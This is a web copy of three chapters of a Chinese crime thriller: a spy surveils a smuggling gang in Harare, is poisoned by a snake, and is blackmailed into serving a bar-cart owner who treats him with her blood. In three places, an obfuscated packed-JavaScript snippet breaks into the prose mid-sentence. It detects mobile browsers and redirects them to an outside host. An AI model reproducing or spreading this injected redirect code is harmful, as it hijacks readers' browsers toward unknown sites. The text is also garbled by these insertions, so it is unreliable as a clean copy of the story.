围墙两米多高,顶端嵌着碎玻璃,湛文嘉从口袋里掏出一小卷特制的抓钩绳,甩了两圈后,精准地勾住墙头一处。 他拉了拉绳子,确认牢固后,手脚并用,几下就攀了上去。 翻过围墙,外面是条僻静的小巷。他收起绳索,拍了拍身上的灰,刚走到巷口,恰好碰到一辆出租车慢悠悠晃过来。 他伸手拦下,矮身钻了进去。 10. 09 黄昏时分,市区东部。 夕阳的余烬正舔舐着天边最后一道豁口,给这片在城市角落绵延的,由铁皮、水泥和破败砖墙构成的仓库区涂抹上一层锈蚀的暗红。 湛文嘉无声地蹲在一座废弃厂房的二楼窗户后,透过破碎的玻璃,盯着对面那个仓库的入口。 阿坤驾着的那辆属于豹头的大切,如今就停在里面。 约莫十分钟前,还有一辆陌生的白色SUV,带着两辆皮卡,驶入了那仓库。 仓库的卷帘门半开着,顶上亮着昏黄的灯,隐约能看见里面的情况。 车停稳后,前前后后一共下来了八个人。 首先下车的人,魁梧、壮硕,正是豹头。在警局关了一天后,他的心情显然并不如何美妙,面目阴沉着,使得那张本就凶悍的脸在此时更加显得生人勿近。 算上先到的阿坤,此时仓库中一共九人,然而彼此却并不说话,像是在等着什么人。 湛文嘉拿出那支伪装成钢笔的录音笔,悄悄揿下开关,又调整了一下别在领口的纽扣摄像头。 天色在此时渐渐暗了下来。 夜幕降临了。 又等了几分钟,一辆破旧的白色面包车在黑暗里缓缓驶来,停在仓库门口。 车门静悄悄地关上,尔后从车上下来了三个人。 为首的是个戴着头巾的男人,身材矮瘦,头巾裹得很严实,缠了整张脸,只露出一双眼。另外两人倒是分外高壮,保镖模样,护在那头巾男两侧,警惕地左右张望。 以豹头为首的几人见状,从仓库里走出迎接。双方在门口简短交谈了几句后,一起走进了仓库。 卷帘门被彻底拉下,隔绝了里面的谈话。 湛文嘉见状,立刻从藏身处溜出来,借着建筑物的阴影,悄无声息地靠近。 仓库侧面有一扇破旧的通风窗,位置很高,但下面堆着一些废弃的木箱。他踩上木箱,勉强能够到窗沿。 窗玻璃早就没了,只剩下锈蚀的铁框。他小心翼翼地探出手,将胸口的微型摄像头摆在铁框上后,悄然退远到了角落的几个铁皮桶后。 匿好身形后,他打开手机,借由摄像头的视角,窥见了仓库全貌—— 仓库内部空间很大,堆放着一些蒙尘的机器零件,其余区域都被数片黑色的防雨布覆盖着,不知下头放着什么。 中央空出一片区域,豹头一行人正和那头巾男子相对而立,昏黄的光线从头顶垂着的灯盏中洒下,在众人脸上投出晃动的阴影。 “……最近风声紧,”豹头的声音传来,带着压抑的焦躁,“别墅进了外人,条子又盯上了我。货得挪窝,这地方不能待了。” 货? 湛文嘉屏住呼吸,眼中闪过一丝精芒。 那头巾男子闻言,叽里咕噜说了一串话,发音古怪,语速很快,带着浓重的喉音和弹舌音,湛文嘉完全听不懂——那不是英语,也不是他曾接触过的任何主流语言。 听起来倒像是……津巴布韦本地的绍纳语。 他心头一沉:语言不通,摄像头距离也太远,收音质量肯定不高,就算录下来,事后翻译也很麻烦,极有可能会丢失关键信息。 正蹙眉思索间,仓库里头,豹头却转头朝身边一个胖子看去——那胖子四十多岁,圆脸,笑眯眯的,穿着一件花哨的衬衫。 湛文嘉觉得有些眼熟,忽地想起:在今天搜查豹头房间时,那书架上摆着的许多相片里,这个人就站在他旁边。 “老猫,你朋友说啥?”豹头不耐烦道。 声音传入耳中的瞬间,湛文嘉眼神蓦地一凛—— 这就是老猫? 此人同豹头关系极为密切,在团队中担任要职,还疑似在那账簿中的“货物”交易里当了中介人的角色。如今既然看到他出场,那么是否意味着......现在仓库中的交易,正涉及到了豹头一伙最核心的秘密? ——同他的目标有关吗? 老猫闻言赶紧上前,点头哈腰地翻译:“豹哥,他说没问题,仓库他还有几处,随时可以转。只是……”老猫顿了顿,搓着手,露出为难的表情,“这个月的钱嘛,他要六。” 豹头眼神骤然冷下来,盯着那头巾男子看了几秒,目光像刀子一样。 仓库里的空气仿佛凝固了。 那头巾男子毫不退让地与他对视,虽然大半张脸被遮住,但那双露出的眼睛里却透着不容商量的强硬。 半晌,豹头从鼻腔里哼出一声,最后还是点了点头。 “行,六就六。”他声音低沉,“但老猫,你给他讲清楚,别给老子出错。这批货要是出了半点岔子,可就不是钱不钱的问题了——我要是跌了跤,他的下场只会更惨。” 老猫连连说是,转头又用绍纳语对那头巾男子说了一通。 那头巾男子听完,倒也未见他露出被威胁的恼色,只点点头,说了句什么。 老猫翻译:“他说,合作这么久了,规矩他懂。” 豹头似乎稍微满意了些,朝身后挥了挥手。 一个瘦高男人带着两个人走到仓库角落,掀开一块防雨布,露出下面放着的、十几个密封的金属箱。 湛文嘉心脏登时狂跳起来。 那里面装着什么? 他努力调整角度,想让纽扣摄像头拍得更清楚些。但距离太远,光线又暗,只能拍到模糊的轮廓。 就在这时,那头巾男子做了个手势,他的两个跟班上前,打开其中一个金属箱,开始检查。 豹头点了支烟,深吸一口,烟雾在昏黄的灯光下缭绕。他看似随意地问:“矿场那边都处理干净了?” 那瘦高男人连忙应道:“豹哥放心。今天我亲自下去动的土,都埋好了,绝对看不出问题。就是……” “就是什么?” “就是我下去的时候,总觉得有点不对劲。”男人声音有些发虚,“就好像有人在盯着我似的。但矿坑里黑,也可能是我自己吓自己。” 豹头不以为意地嗤了一声:“保安24小时守着罐笼,怎么可能有人下得去?怂包一个......” 然而他还没骂完,脸色便蓦地一僵—— “砰!” 外头竟突然传来一声碰撞,好似有什么东西抽在了金属之上。声音不大,可在这寂静的夜里,却显得分外刺耳。 ...... 窗外。 湛文嘉正听到紧要之处,皱眉思索着那瘦高男人埋的究竟是什么——不料就在下一瞬,他的脚踝处竟蓦地传来一阵刺痛。 像是被什么东西咬了一口。 他到底没忘自己如今处境,堪堪忍住没叫出声,埋头看去时,只瞅见一道黑色的残影,速度极快、几乎是“嗖”的一声便窜入了铁皮桶后的黑暗深处。 什么东西? 他面上露出几丝愕然,可还没来得及看清那究竟是什么,下一瞬,便听闻铁皮桶里传来“砰”的一声巨响! 仓库里瞬间安静了。 所有人的目光,齐刷刷地转向通风窗的方向。 “谁?!”豹头厉喝一声。 湛文嘉脑子里“嗡”的一声,尔后,几乎没有任何犹豫地,翻身便从角落里滚出,拔腿就跑! “追!”豹头的吼声从身后传来。 叫骂声、急促的脚步声、拉枪栓的咔哒声——所有的声音混在一起,如同催命的鼓点,敲在湛文嘉的耳膜上。他疯了一样朝仓库区外冲去,专挑狭窄的巷道和堆满杂物的小路,试图利用地形甩开追兵。 但身后的人显然对这片区域极为熟悉,脚步声非但没有远离,反而越来越近。 “分头包抄!他往铁路那边跑了!” “妈的,看清是谁了吗?” “没看清,个子挺高,跑得很快!” 湛文嘉咬紧牙关,肺里火烧火燎,小腿肌肉因为剧烈奔跑而抽搐,还交织着一股自那叮咬后逐渐漫起的奇异酸麻感。 可他不敢停下,只能拼命往前冲。 穿过一片堆满垃圾的空地后,前方出现了两条岔路——左边是一条小巷,通向破烂拥挤的贫民窟;右边则是一条相对宽敞的、有零星路灯的街道。 他毫不犹豫地选了左边。 人越多,越容易隐藏。 可他跑进小巷才发现,这贫民窟远比他想象中的要冷清:小道两侧多是关着门的房屋,路上只有零星几个行人,见到他的阵势后,纷纷怪叫着躲开。 哪里有他想象中的,可以提供躲避的地方? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127427|196148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后追兵的脚步声渐渐逼近。 完了。 湛文嘉心头一凉。 难道今天要栽在这里? 可就在这时—— “……还有三个月,我如果能回来,到时候联系。” 一句清晰的中文,突兀地飘进他的耳朵里。 湛文嘉浑身一震,几乎以为自己出现了幻觉。 但下一瞬,他猛地转头,看向声音传来的方向—— 就在这条小路的尽头,街角处,停着一辆改装过的三轮车。 车斗被布置成了一个小小的开放式酒吧——酒水柜、操作台等虽然迷你,却一应俱全,车身上缠绕着彩色的LED灯串,此刻正闪烁着俗气的光芒,顶上吊着个小音响,播放着节奏轻快的雷鬼乐。 “吧台”上,一个窈窕的身影背对着街道,正在打电话。 她穿着清凉的露脐背心和牛仔裤,脚上蹬一双半旧的白色板鞋,因坐姿而裸露出的右脚踝处,隐隐约约现出一截刺青。只是距离有点远,看不太清。 他也没时间去看了。 ——中国人! 他心头狂喜,像是溺水的人抓住了最后一根稻草,根本来不及思考,便三步并作两步冲过去,在追兵即将冲出小巷的瞬间,矮身钻进了车斗底下! 车斗离地面有半米多高,下面堆着些空箱子和杂物。他手脚并用爬到最里面,快速扯下一块盖在箱子上的帆布,胡乱罩在自己身上。 气喘如牛,心跳如鼓。 他太慌了,以至于直到藏好才想起似乎应该跟主人家交代一声,于是掀起帘子一角,压低声音,忍着那似乎是因长时间奔跑而漫起的头晕,朝她低声求道: “老板,我遇上抢劫的了,大家都是中国人,拜托帮一下忙……事后我给你两万美金啊。” 语落,他“唰”地一声又把帘布放了下来。 车斗里打电话的声音停了。 湛文嘉屏住呼吸。 追兵的脚步声已经到了附近,杂沓而急促。 “分头找!他肯定躲在这附近!” “亮哥,这边有辆酒摊车……” 几道脚步声停在了车前。 透过帆布的缝隙,湛文嘉看到了一双满布泥污的工装靴。 然后,他听到仓库中那瘦高男人的声音:“有没有看到一个男人跑了过去?个子很高。” 车斗里沉默了几秒。 接着,那双白色板鞋从高脚凳上放下,踩在地上,正正好踏在湛文嘉眼前。 右脚踝上的刺青从他眼前一闪而过。 那一瞬间,湛文嘉呼吸不由一窒—— 白皙的肌肤上,纹的竟是一条蜿蜒耸立,正朝着高处无声怒吼的蛇。 蛇身鳞片分明,暗红如凝涸的血渍,头部昂然怒耸,蛇口大张,毒牙尖锐如钩,仿佛下一秒就要撕裂皮肉冲出来。 暴烈,蛮荒,带着一种近乎邪性的生命力。 而这还不是全部。踝骨之上,似乎还有墨色的线条延伸,隐入牛仔裤的裤脚深处。只是那图案一闪即逝,随即便被站立后垂下的裤脚遮掩,再看不见了。 下一秒,他听到一个女声响起,声音不大,却很清晰: “没有。” 语调平静。 “我一直在跟客人打电话,没注意。”她又补充了一句,语气里带上几分不耐烦,像是真的被打扰了生意。 那双工装靴在原地停留了几秒。 湛文嘉能听到自己心脏在胸腔里狂跳的声音,震得耳膜发疼。 终于,靴子移动了。 “去那边看看!” 脚步声渐渐远去。 车斗底下,湛文嘉缓缓吐出一口憋了太久的气。 浑身虚脱般松懈下来后,他才发现自己后背已经被冷汗浸透了。 头顶传来轻微的响动。 接着,帆布被掀开一角。 一张脸探了下来。 那是一张年轻的女人的脸,大概二十五六岁,五官普通,眼睛却很亮,在昏暗的光线下,像含着两颗寒星。 她看着湛文嘉,没说话,只是挑了挑眉。 然后,用纯正的中文,低声问: “老乡,现金还是转账啊?” 11. 10 几个街区外,仓库区。 豹头站在仓库门口,脸色阴沉地听着陆续回来的汇报。 “东边铁路沿线搜过了,没看见人。” “西边废车场也找了,只、只有几个流浪汉。” “北面那片棚户区太大,晚上根本没法细搜,但我们抄近路过去堵都没见到人,那家伙绝对没朝那里跑……” 豹头烦躁地挥挥手,打断他们:“行了!一群废物!” 只剩南边了。 他转向刚从南面回来、此刻还喘着粗气的高佬亮,眼神凶戾:“你那边呢?” 高佬亮见状一怵,随即面色难看地摇头:“沿路上基本没人,黑灯瞎火的,啥也看不清......”见豹头就要大骂出声,他又赶紧道,“但是、但是中途经过了个停在路边的酒摊车,有个女人在经营。我们觉得可疑,就过去问了一下,但是她说没看见。” “酒摊车?”豹头蹙眉,想了想,又问道,“那老板是不是个二十来岁的中国女人?” 高佬亮愣了愣,连忙点头:“对、对,是个年轻女人,亚洲长相,至于是不是中国人......这就不知道了。” 豹头闻言,紧绷的脸色反而松了些许:“如果是她,就不用怀疑了。” 高佬亮不解:“为什么?豹哥你认识她?” “认识?”豹头从鼻子里哼出一声,“这儿有头有脸的人,谁不认识她?昨晚那酒吧,就是她开的。那女人在哈拉雷华人圈里,也算是个出名的人物了。” 一旁“没头没脸”的高佬亮闻言,只尴尬地笑了笑。 豹头掏出烟点上,深吸一口,缓缓吐出烟雾。不知想到什么,他眼里竟染上了几分不易察觉的忌惮。 “一个从小就在非洲摸爬滚打,熬过了饥荒、霍乱、甚至部落血洗,最后把生意做得风生水起的女人……”豹头弹了弹烟灰,“她比绝大多数男人都要精明,也更懂得审时度势。什么该做,什么不该做,什么钱能赚,什么人不能惹,她心里门儿清。” 他看向高佬亮,语气冷峭:“你说,这样一个女人,会为了一个不知底细的小贼得罪我们,断了自己在哈拉雷的财路吗?她干不出犯险替别人打掩护的蠢事。” 高佬亮想了想,觉得有理:能在这种地方站稳脚跟的,都是人精,明哲保身才是第一要务。 “那……那人肯定朝其他地方跑了。”高佬亮说,“咱们现在该怎么办?” 豹头眯起眼睛,看向远处沉沉的夜幕:“加派人手,盯紧所有附近的路口和车站。另外……”他压低声,“仓库里的货,必须马上转移,一刻也不能耽误。老猫联系的那个新地方,可靠吗?” “绝对可靠,豹哥放心,那边更偏僻,警察根本找不到。” “好。”豹头将烟头扔在地上,用力碾灭,“你亲自押车,天亮前必须彻底清空。至于那只偷听的老鼠……”他眼底寒光一绽,“继续搜。在那个钟点、那个地方冒出来,绝不可能是‘路人’——敢把爪子伸到老子碗里,就得把命留下。” “......是!” *** 酒摊车下。 湛文嘉定定地看着那女子,只觉得那双眼睛从刚才就亮得紧,此时更是开始在他眼前同夜空中的两颗恒星一般,渐渐旋转起来,晃得他眼花。 ——现金还是转账? 漫不经心的话语传入耳中,他视野里的光斑也在不住跳跃、拖曳出长长的彗尾,女子的脸忽远忽近,像是在水中看倒影,波纹荡漾,面目模糊。 “转账。”他闭上眼,狠狠甩了甩头,似是想要把那阵晕眩甩出去,可到底于事无补。 再睁眼时,眼前更花了。 他只觉一阵恶心从胃里翻涌上来,四肢轻飘飘的,使不上力气。脚踝处被咬过的地方,正传来一阵阵尖锐的刺痛,那痛感沿着小腿不断向上蔓延,像无数根细针在血管里游走。 他撑着想要从车底钻出来:那些人不知道走没走远,无论如何,先离开这里再说。 而就在这时,女人放在吧台上的手机里传来一阵声音:“Ginna、Ginna?你那边出什么状况了?” 原来她电话一直没挂。 那叫Ginna的女人听到,却没理,只是眼神古怪地看着此时的他。 像是在打量一件即将报废的器物,那双明亮的眼睛里,没有惊吓,没有同情,只透着一丝冷漠的审视—— 如若刚才换了旁的人来,她早就一屁股把他踹出去了,谁会因为什么“老乡”、“同胞”这种可笑的理由把他救下? 过往她被坑得最惨的几次,都是被所谓的“老乡”整的。 只是这人实在傻得可怜,指尖的黑线都快蔓到臂弯了,还不知自己中了毒,试图用“两万美金”拿她的乔。 一看就是外来客,不知在哈拉雷这地方,有时候,钱是最没用的东西。 ——演技倒是还行。 不错的皮相配上那副涉世未深的天真表情,若换个人来,倒真可能会出于同情帮他一把......只是或许是受刚才的一番亡命奔逃和毒素影响,那双眼里的谋算到底是没藏干净,露了几分在了她面前。 她静静看了他一会儿,悠悠道:“你怎么得罪他们的?” 可湛文嘉没听清,他这时也有些听不清了,只知道面前这个女人似乎在叽里咕噜地说着什么。 是在催他结账吗? 他蹙了蹙眉:这老板平时怎么做生意的,一杯酒都没有的功夫,怎么一直催人呢?又不是不给。 他强忍着不适掏出手机,可手却抖得厉害,无论如何都点不开那扫码键。此时整个世界都在他眼前颠倒、旋转,墙壁在蠕动,地面在起伏,他用力甩了甩头,试图保持清醒,结果只换来一阵更强烈的眩晕。 他终于意识到不对,摇摇头,喃喃:“回去,我要回去……” “回去?”旁边始终跟看猴儿一样的女人见状,终于嗤笑一声,“回哪儿去,豹头那儿?让他看到你这副德行,直接把你扔进矿里埋了?” 湛文嘉蓦地一惊。 语落,她拿起手机,对着话筒随意说了句:“没啥事,遇到个傻子。图拉还没完事,马上就回了啊。”语落,还不等对方说话,便将电话挂断了。 接着,弯下腰,钻进车斗底下,动作灵巧得像只猫。 湛文嘉下意识想朝后退,可到底空间狭小受限,退不开去,只能呆呆看着她靠近。 一股混合着酒精味道的香气迎面扑来,冲入鼻腔的瞬间,他模糊的脑子甚至都短暂清明了一瞬。 接着,Ginna不由分说便抓起他的左手,往上一翻。湛文嘉下意识想缩手,却使不上劲,只能由着她动作。 下一瞬,模糊的视线里,女人的脸似乎沉了下来—— 只见他那手腕内侧的皮肤上,就像是血管里渗进了污秽的墨水,有一道细如发丝的黑线从左手食指尖蜿蜒而上,此刻已然盘过了小臂。及至肘弯处,墨线倏然分岔,数股细痕如活物般扭绕、聚拢,在皮肤下隐隐结成了一团幽暗的影。 Ginna盯着那道黑线看了几秒,确认之后,眼神更冷了几分。 她拍拍湛文嘉的脸,力道不轻不重:“喂!醒醒。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127428|196148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 湛文嘉眼皮沉重,勉强聚焦视线,对上她的眼睛。 “我如果没猜错的话。”她轻声问,语气平静,却像一根冰冷的针,猝不及防地刺进他混沌的意识里,“你本来是他们的人吧?” 湛文嘉闻声一悚,涣散的目光瞬间凝聚起一丝锐利来,尽管身体还在不受控制地轻微颤抖,但那眼神里的戒备和冷意却如同破冰而出的刀锋,直直朝她刺去。 “反应还算不错。”Ginna见状似是满意地挑了挑眉,将脸凑到他耳边,声音压得更低。带着温热的气息拂过他耳廓,说出的内容却让人如坠冰窟,“你知不知道,你中了毒啊?” “蛇毒。” 蛇毒? 湛文嘉混沌的大脑艰难地处理着这两个字。 下一瞬,一滴冷汗蓦地自他后颈滑下。 脚踝那突如其来的刺痛传来后,他垂头瞅见的那黑影,原来不是老鼠或者昆虫,而是蛇? 可那里怎么会有蛇呢?是豹头他们放的吗? 他眼下的头昏,便是因为那蛇毒吗? 他......会死吗? “放心,那畜生咬不死人。” 女子的声音适时响彻在耳边。 湛文嘉闻言,紧绷的神经稍稍一松。然而那口气还没舒到底—— “只是会让你疯而已。”她又接着说。 语气平淡,好似在评价今晚月色不错。 湛文嘉眼神登时剧震! ……疯? “看来你和那黑老粗一样,都算不得什么核心人物啊。”Ginna看着他骤变的脸色,漫不经心地说道,“那可不是普通的蛇,名叫‘黑疯梢’,是被人专门豢养的玩意儿,邪性得很。咬伤人后,不伤人命,只杀‘心智’。” 这样慢条斯理的解释,落在耳中,竟让湛文嘉不合时宜地想起了小时候博物馆里给他介绍稀奇昆虫的讲解员。 “你被咬之后,毒素不会立刻致死,却会侵蚀你的神经,让你产生幻觉,世界颠倒、精神错乱,最后……” 她顿了顿,吐出冰冷的字眼:“被送进疯人院。或者,就在这片贫民窟的某个角落里烂掉。” 她伸出手指,点了点他手腕上那道乌黑的血线:“看你这模样,距离被咬至少也有二十分钟了。等这黑线爬到你的肩头,拢成第二团乌斑的时候,你就算是神仙也难救了。” 湛文嘉浑身发冷,不是因为此时穿巷吹过的冷风,而是因为那正从自己骨髓里渗出的寒意。 ——幻觉、颠倒,这不正是他此时正在经历的一切吗? 这女人不是在唬他。 “你......”他忍着晕眩艰难地开口,声音嘶哑,“你怎么知道这些?” Ginna闻声,没有直接回答,只是微微歪头,定定地看着他。 那目光,冷漠、充满赤裸裸的算计,仿佛只是在评估一件货物。 “这不重要。”她终于开口,声音压低,带着种不容置疑的压迫,“重要的是,你现在只有两个选择。” 她竖起一根手指:“第一,就这么躺在这儿,等黑线成团,然后彻底疯掉。豹头的人说不定还会折回来,到时候发现了你,你觉得他们会怎么处理你?” 湛文嘉的心脏狠狠一沉。 接着,她竖起第二根手指:“第二。我恰好知道怎么暂时压制这种蛇毒,也有路子能找到根除的办法。但作为交换......” 她轻轻一笑,那两根伸出的手指转而勾起他的下巴,居高临下地、如同端详某件待价而沽的货物般,缓缓开口。 “你得替我做事。” 12. 11 “替你做事?”湛文嘉低声喘息着,眼中泛起一丝警惕,“做什么?” Ginna收回手,幽幽道:“回去。” “......回到豹头身边,当做今晚的一切都没有发生。但接下来的日子里,无论你看到什么、听到什么,关于矿场,关于豹头,还有他那见不得光的‘交易’——都得告诉我。” 湛文嘉心头登时一跳:这女人竟然也在打矿场的主意?! 她到底是谁,又知道多少? 于是咬牙:“你想做什么?” “还能做什么,发财咯。”Ginna扯了扯嘴角,那笑里却没有半点温度,“在哈拉雷,你们豹哥可算得上是最有权势的人之一了——好几个矿在手,那么多钱,怎么用得完?分我一点呗。” 她凑得更近,几乎快要贴着他的耳朵:“我想要财,你刚好能给我提供横插一脚的便利;而我,能保住你的脑子。这笔交易很公平。” 公平? 谁家好人会把趁火打劫说得这么冠冕堂皇? 湛文嘉想笑,却实在笑不出来。 他只觉那眩晕感越来越强,手腕上的黑线似乎又往上爬了一小截。视线里,女人的脸也重影得更严重了。 他快没有时间了。 “帮你可以,但我要怎么相信你?”他最后挣扎着问,“你最后反悔了怎么办?” “随便你啊。”Ginna直起身,居高临下地看着他,“反正现在除了我,没人能救你。而且......我其实也不是非你不可。” 她似是抱歉地笑笑,看了看手机:“你只有五分钟了。” 无数的疑问在湛文嘉脑海中翻腾。甘愿受胁于人从来不是他的风格,可眼下...... “再去那边找找!” 远处似乎又隐约传来了脚步和叫骂声,豹头的人竟在此时去而复返,重又开始了搜寻。 Ginna也听到了动静。她看着手机上的时间,眉头微微一蹙,似乎不打算再等下去了。 “选吧。”她声音冷了下来,“要么合作,要么我现在就把你踢出去,丢在他们面前,看看豹头会怎么对你。” 冷汗已在此时浸透了湛文嘉的后背。 他看着眼前这个眼神冰冷的女人,终于真切地认识到她不是在说笑。 于是他重重闭了闭眼,再睁开时,眼底的挣扎和犹豫已一扫而空,转而被一种破釜沉舟般的决绝取代。 “成交。” Ginna闻言,脸上终于露出一丝满意的神色。尔后她再不多话,伸手向自己怀中探去。 下一瞬,湛文嘉只觉眼前白光一闪—— 她竟是从内衬中摸出了一根雪白的羽毛。 不,那不是羽毛,仔细看去,竟是一支被做成了羽毛样的飞刀。 只是不同于寻常飞刀,它长得出奇,足有成年男子一掌长,却窄细得仿佛一折就能断。通体是莹润的纯白,边缘凝着一线游丝般的寒芒。 一个卖酒的,为什么随身带着这种东西? 湛文嘉正愕然着,却只见Ginna朝他挑了挑眉,不由分说道: “闭眼,仰头,张嘴。” 这是要喂他药了?她竟随身带着治这种诡异蛇毒的药? 湛文嘉虽不解,却聪明地选择了听话照做。 黑暗中,似乎响起了一道利刃划破皮肉的声音。 下一瞬,有温热的液体淌入口中。 迟钝的舌尖第一时间没有品出它的味道,只觉得入口咸咸的,不知是什么。结果下一瞬,一股浓烈的铁锈味轰然朝他脑门冲来! ——是血! 一阵剧烈的反胃感猛然涌上喉间,湛文嘉猛然睁眼,看着身前缓缓收刀的女人,下意识就要侧头吐掉。 然而就在此时,却冷不丁听她幽幽一句:“敢吐一滴出来,我抬脚就把你踢出去。” ......他信她做得出。 于是他只能忍着恶心,滚动喉头,强自将那血液吞下。 熟料,那殷红的液体甫一滚入他的食道,在他的感知里,竟好似化作成了一股灼热的洪流,朝他四肢百骸迅速涌去!轮回一圈后,最终集中到他的左臂处,逆着手臂汹涌而上,与那蛇毒带来的阴冷眩晕狠狠冲撞在了一起! 他感觉自己的血管好似快要炸开,眼前一阵发黑,几要陷入晕厥。 可挨过那阵冲撞之后,逐渐地,原本在他眼前扭曲、变形的世界,竟像是被一只看不见的手重新塑正了线条一般,缓缓恢复了平整。 他蓦地睁大双眼—— 这血当真有效?! 狭小的布帘下,Ginna脸上的重影也在此时渐渐褪去。她见湛文嘉眼神恢复了些许清明,知道“药”已生效,轻轻舒出口气,起身退了出去。 转身的刹那,车斗边缘缠绕的一串彩色LED灯光恰好从她身上斜斜扫过。 湛文嘉的视线下意识追随那光斑移动,随即瞳孔微微一缩—— 一道新鲜的、细长的割伤,正横在她腕间白皙如月的肌肤上。 伤口极细、十分整齐,边缘微微外翻,此时凝着一线暗红的血痂。 刚才......是她的血? ...... 时间刚好,她从车斗下钻出的下一瞬,便见先前那瘦高男人带着三四个人,重又从暗巷中跑了出来,路过她这酒摊时,到底没忍住,侧目扫了她一眼。 不知豹头跟他说了什么,此时那看向她的眼里,竟有一丝忌惮之色。 她似笑非笑地朝他耸了耸肩:“哥们儿,我准备收摊了,还剩几杯,要不要来杯啊?” 男人忙不迭挪开目光,扭头朝手下低声道:“去那边!” 语落,一群人竟是再不看她一眼,转身朝着小道的另一处奔去了。 “没意思。”Ginna撇撇嘴,直到看那些人彻底跑没了影,才伸出脚,朝下方轻轻踢去,“喂,可以出来了。” 布帘下传来窸窸窣窣的几声。 尔后,一个漆黑的脑袋钻了出来。 湛文嘉的脸色此时依旧有些苍白,借着头顶落下的彩灯光,他垂眸朝自己左臂看去:只见那灼热的血真的遏制住了黑线的蔓延,甚至让它颜色变淡了些许,可却并未消退,只是像被暂时冻结的毒藤,蛰伏在皮肤之下。 看上去更像是暂时抑制住了,而不是被彻底解除。 “这毒奇诡,要分两次解。第一次解毒,只能压住毒性24小时。”果然,Ginna收回那凝视的目光,转身收拾起吧台上杂乱的空酒杯,“一天后,你必须拿到下一次的‘药’,否则毒性反扑,会比之前更猛——你还是会疯。” 湛文嘉眼神瞬间一冷:“你所说的‘药’,不能现在就给我么?” Ginna闻言笑了一声:“可以,只是我不想。” 湛文嘉心头一凛,暗道:果然。 女人堂然道:“就像你不信任我一样,我也不信任你。如果现在就把药给了你,万一你翻脸跑路了怎么办?” 湛文嘉闻言眯眼看去,灯光在她侧脸上投下晃动的阴影,虽看不清她此时面容,可想必那张脸上,一定是带着志在必得的笑的。 于是他蓦地生出几分不爽来。 他沉默片刻,也笑了笑:“你似乎很自信这毒只有你能解——但你也知道,我算是他们的人。万一等我回去之后,找其他人帮忙,自己就把这毒解了怎么办?” 他一边说,一边观察着她的反应。 出乎意料地,Ginna没有恼,直到他说完,她才缓缓转过身,脸上依然是那种似笑非笑的表情。 “你可以试试。”她轻飘飘地说。 话音未落,她已经从牛仔裤口袋里掏出手机,手指在屏幕上快速划了几下,然后将屏幕转向他。 看清照片的一瞬间,湛文嘉瞳孔骤缩,喉结不受控制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127429|196148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地滚动了一下。 ——那竟是一张清晰无比的照片。 照片上呈现的,赫然正是他几分钟前最狼狈的样子:蜷缩在车斗底下,面色潮红,眼神涣散,额发被冷汗浸透贴在额角。帆布帘虽然只掀起一角,可透下的光已经足以照亮他的脸。 照片右下角,甚至还显示着时间戳和定位水印。 她是什么时候拍的? 湛文嘉脑中飞快地回放刚才的每一个细节,却无论如何都想不起来。 “真狡猾。”他缓缓开口,声音里藏着一丝挫败的怒意。 Ginna收回手机,语气平淡:“彼此彼此。”顿了顿,她唇角又勾起一抹意味深长的弧度,“你觉得,豹头看到后,是会信你,还是信这张照片?” 湛文嘉深吸一口气,强迫自己冷静。 他知道自己这次栽了。 “我可以帮你。”他终于开口,声音沙哑,“但是事成之后,你要把完整的解药给我。这张照片,也要彻底删除。” “成交。”Ginna答得干脆,将手机重新揣回兜里。 湛文嘉刚想张嘴问后续的安排,就在这时,暗巷深处又响起了脚步声。 他眼神一变,身体瞬间绷紧,下意识就要再次躲回车斗下。 “没事,自己人。”Ginna却不紧不慢地说,甚至没有回头看一眼。 他这才反应过来:这一次的脚步声啪嗒啪嗒的,节奏规律,不似刚才那群人的杂乱急促。 几秒后,一个小小的身影从黑暗里走了出来。 那是一个七八岁左右的男孩,皮肤微黑,卷曲的头发在彩灯下泛着柔和的光泽。他穿着洗得发白的T恤和牛仔短裤,外面裹着件宽大的防风夹克,脚上蹬着一双旧球鞋,鞋面踩在地上,发出阵阵声响。 看见Ginna后,男孩眼神一亮,快步朝酒摊跑来。 “姐姐。”男孩的声音还带着稚气,明明是外国长相,却说着不太流利的中文。 Ginna伸手揉了揉他的头发,语气明显柔和了几分:“完事了?” 男孩点点头,一双清澈的大眼睛随即好奇地转向湛文嘉,上下打量着他。 眼神里没有害怕,只有纯粹的好奇。 他看了湛文嘉一会儿,挪回目光,凑到Ginna耳边,压低声音说了几句什么。Ginna听完后,眉头几不可察地蹙了一下,但很快又舒展开。 “没关系。”她拍拍图拉的肩膀,“去把车后面的箱子搬下来,准备收摊。” 图拉听话地绕到车后,搬起一个个装满了空酒瓶的塑料箱来。 